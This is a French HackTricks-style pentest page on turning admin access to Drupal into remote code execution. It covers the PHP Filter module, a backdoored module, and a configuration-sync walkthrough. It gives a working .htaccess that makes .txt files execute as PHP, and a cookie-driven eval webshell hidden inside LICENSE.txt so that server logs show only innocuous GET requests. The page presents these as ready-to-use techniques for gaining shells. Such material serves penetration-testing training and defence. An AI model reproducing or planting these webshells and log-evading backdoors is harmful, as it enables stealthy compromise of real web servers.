228 lines
10 KiB
Markdown

# Drupal RCE
{{#include ../../../banners/hacktricks-training.md}}
## Avec le module PHP Filter
> [!WARNING]
> Dans les anciennes versions de Drupal **(avant la version 8)**, il était possible de se connecter en tant qu'administrateur et **d'activer le module `PHP filter`**, qui "Permet d'évaluer le code/snippets PHP intégrés." Mais à partir de la version 8, ce module n'est pas installé par défaut.
1. Allez à **/modules/php** et si une erreur 403 est retournée, alors le **plugin PHP filter est installé et vous pouvez continuer**
1. Sinon, allez dans `Modules` et cochez la case de `PHP Filter` puis cliquez sur `Save configuration`
2. Ensuite, pour l'exploiter, cliquez sur `Add content`, puis sélectionnez `Basic Page` ou `Article` et écrivez la **backdoor PHP**, puis sélectionnez le code `PHP` en format texte et enfin sélectionnez `Preview`
3. Pour le déclencher, accédez simplement au nœud nouvellement créé :
```bash
curl http://drupal.local/node/3
```
## Installer le module PHP Filter
> [!WARNING]
> Dans les versions actuelles, il n'est plus possible d'installer des plugins en n'ayant accès qu'au web après l'installation par défaut.
À partir de la version **8**, le module [**PHP Filter**](https://www.drupal.org/project/php/releases/8.x-1.1) **n'est pas installé par défaut**. Pour tirer parti de cette fonctionnalité, nous devrions **installer le module nous-mêmes**.
1. Téléchargez la version la plus récente du module depuis le site Drupal.
1. `wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz`
2. Une fois téléchargé, allez dans **`Administration`** > **`Reports`** > **`Available updates`**.
3. Cliquez sur **`Browse`**, sélectionnez le fichier dans le répertoire où nous l'avons téléchargé, puis cliquez sur **`Install`**.
4. Une fois le module installé, nous pouvons cliquer sur **`Content`** et **créer une nouvelle page de base**, comme nous l'avons fait dans l'exemple de Drupal 7. Encore une fois, assurez-vous de **sélectionner `PHP code` dans le menu déroulant `Text format`**.
## Module avec backdoor
> [!WARNING]
> Dans les versions actuelles, il n'est plus possible d'installer des plugins en n'ayant accès qu'au web après l'installation par défaut.
Il était possible de **télécharger** un **module**, d'ajouter une **backdoor** et de **l'installer**. Par exemple, télécharger le module [**Trurnstile**](https://www.drupal.org/project/turnstile) au format compressé, créer un nouveau fichier PHP de backdoor à l'intérieur, permettant l'accès au fichier PHP avec un fichier `.htaccess` :
```html
<IfModule mod_rewrite.c> RewriteEngine On RewriteBase / </IfModule>
```
Et ensuite, allez sur **`http://drupal.local/admin/modules/install`** pour installer le module compromis et accédez à **`/modules/turnstile/back.php`** pour l'exécuter.
## Backdooring Drupal avec la synchronisation de configuration <a href="#backdooring-drupal" id="backdooring-drupal"></a>
**Post partagé par** [**Coiffeur0x90**](https://twitter.com/Coiffeur0x90)
### Partie 1 (activation de _Media_ et _Media Library_)
Dans le menu _Extend_ (/admin/modules), vous pouvez activer ce qui semble être des plugins déjà installés. Par défaut, les plugins _Media_ et _Media Library_ ne semblent pas être activés, alors activons-les.
Avant l'activation :
<figure><img src="../../../images/image (4) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Après l'activation :
<figure><img src="../../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../images/image (2) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
### Partie 2 (exploitation de la fonctionnalité _Configuration synchronization_) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
Nous allons exploiter la fonctionnalité _Configuration synchronization_ pour dumper (exporter) et télécharger (importer) des entrées de configuration Drupal :
- /admin/config/development/configuration/single/export
- /admin/config/development/configuration/single/import
**Patch system.file.yml**
Commençons par patcher la première entrée `allow_insecure_uploads` à partir de :
Fichier : system.file.yml
```
...
allow_insecure_uploads: false
...
```
<figure><img src="../../../images/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
À :
Fichier : system.file.yml
```
...
allow_insecure_uploads: true
...
```
<figure><img src="../../../images/image (4) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Patch field.field.media.document.field_media_document.yml**
Ensuite, patcher la deuxième entrée `file_extensions` de :
Fichier : field.field.media.document.field_media_document.yml
```
...
file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
...
```
<figure><img src="../../../images/image (5) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
À :
Fichier : field.field.media.document.field_media_document.yml
```
...
file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
...
```
> Je ne l'utilise pas dans cet article de blog, mais il est noté qu'il est possible de définir l'entrée `file_directory` de manière arbitraire et qu'elle est vulnérable à une attaque par traversée de chemin (nous pouvons donc remonter dans l'arborescence du système de fichiers Drupal).
<figure><img src="../../../images/image (6) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
### Partie 3 (exploitation de la fonctionnalité _Ajouter un document_) <a href="#part-3-leveraging-feature-add-document" id="part-3-leveraging-feature-add-document"></a>
La dernière étape est la plus simple et se décompose en deux sous-étapes. La première consiste à télécharger un fichier au format .htaccess pour exploiter les directives Apache et permettre aux fichiers .txt d'être interprétés par le moteur PHP. La seconde consiste à télécharger un fichier .txt contenant notre payload.
Fichier : .htaccess
```
<Files *>
SetHandler application/x-httpd-php
</Files>
# Vroum! Vroum!
# We reactivate PHP engines for all versions in order to be targetless.
<IfModule mod_php.c>
php_flag engine on
</IfModule>
<IfModule mod_php7.c>
php_flag engine on
</IfModule>
<IfModule mod_php5.c>
php_flag engine on
</IfModule>
```
Pourquoi ce truc est-il cool ?
Parce qu'une fois que le Webshell (que nous appellerons LICENSE.txt) est déposé sur le serveur Web, nous pouvons transmettre nos commandes via `$_COOKIE` et dans les journaux du serveur Web, cela apparaîtra comme une requête GET légitime vers un fichier texte.
Pourquoi nommer notre Webshell LICENSE.txt ?
Tout simplement parce que si nous prenons le fichier suivant, par exemple [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) (qui est déjà présent dans le cœur de Drupal), nous avons un fichier de 339 lignes et 17,6 Ko, ce qui est parfait pour ajouter un petit extrait de code PHP au milieu (puisque le fichier est suffisamment grand).
<figure><img src="../../../images/image (7) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Fichier : LICENSE.txt patché
```txt
...
this License, you may choose any version ever published by the Free Software
Foundation.
<?php
# We inject our payload into the cookies so that in the logs of the compromised
# server it shows up as having been requested via the GET method, in order to
# avoid raising suspicions.
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
} else {
phpinfo();
}
}
?>
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
...
```
#### **Partie 3.1 (télécharger le fichier .htaccess)**
Tout d'abord, nous utilisons la fonctionnalité _Add Document_ (/media/add/document) pour télécharger notre fichier contenant les directives Apache (.htaccess).
<figure><img src="../../../images/image (8) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../images/image (9) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../images/image (10) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Partie 3.2 (télécharger le fichier LICENSE.txt)**
Ensuite, nous utilisons à nouveau la fonctionnalité _Add Document_ (/media/add/document) pour télécharger un Webshell caché dans un fichier de licence.
<figure><img src="../../../images/image (11) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../images/image (12) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../images/image (13) (1).png" alt=""><figcaption></figcaption></figure>
### Partie 4 (interaction avec le Webshell) <a href="#part-4-interaction-with-the-webshell" id="part-4-interaction-with-the-webshell"></a>
La dernière partie consiste à interagir avec le Webshell.
Comme montré dans la capture d'écran suivante, si le cookie attendu par notre Webshell n'est pas défini, nous obtenons le résultat suivant lors de la consultation du fichier via un navigateur Web.
<figure><img src="../../../images/image (14) (1).png" alt=""><figcaption></figcaption></figure>
Lorsque l'attaquant définit le cookie, il peut interagir avec le Webshell et exécuter toutes les commandes qu'il souhaite.
<figure><img src="../../../images/image (15) (1).png" alt=""><figcaption></figcaption></figure>
Et comme vous pouvez le voir dans les journaux, il semble qu'un seul fichier txt ait été demandé.
<figure><img src="../../../images/image (16) (1).png" alt=""><figcaption></figcaption></figure>
Merci d'avoir pris le temps de lire cet article, j'espère qu'il vous aidera à obtenir des shells.
{{#include ../../../banners/hacktricks-training.md}}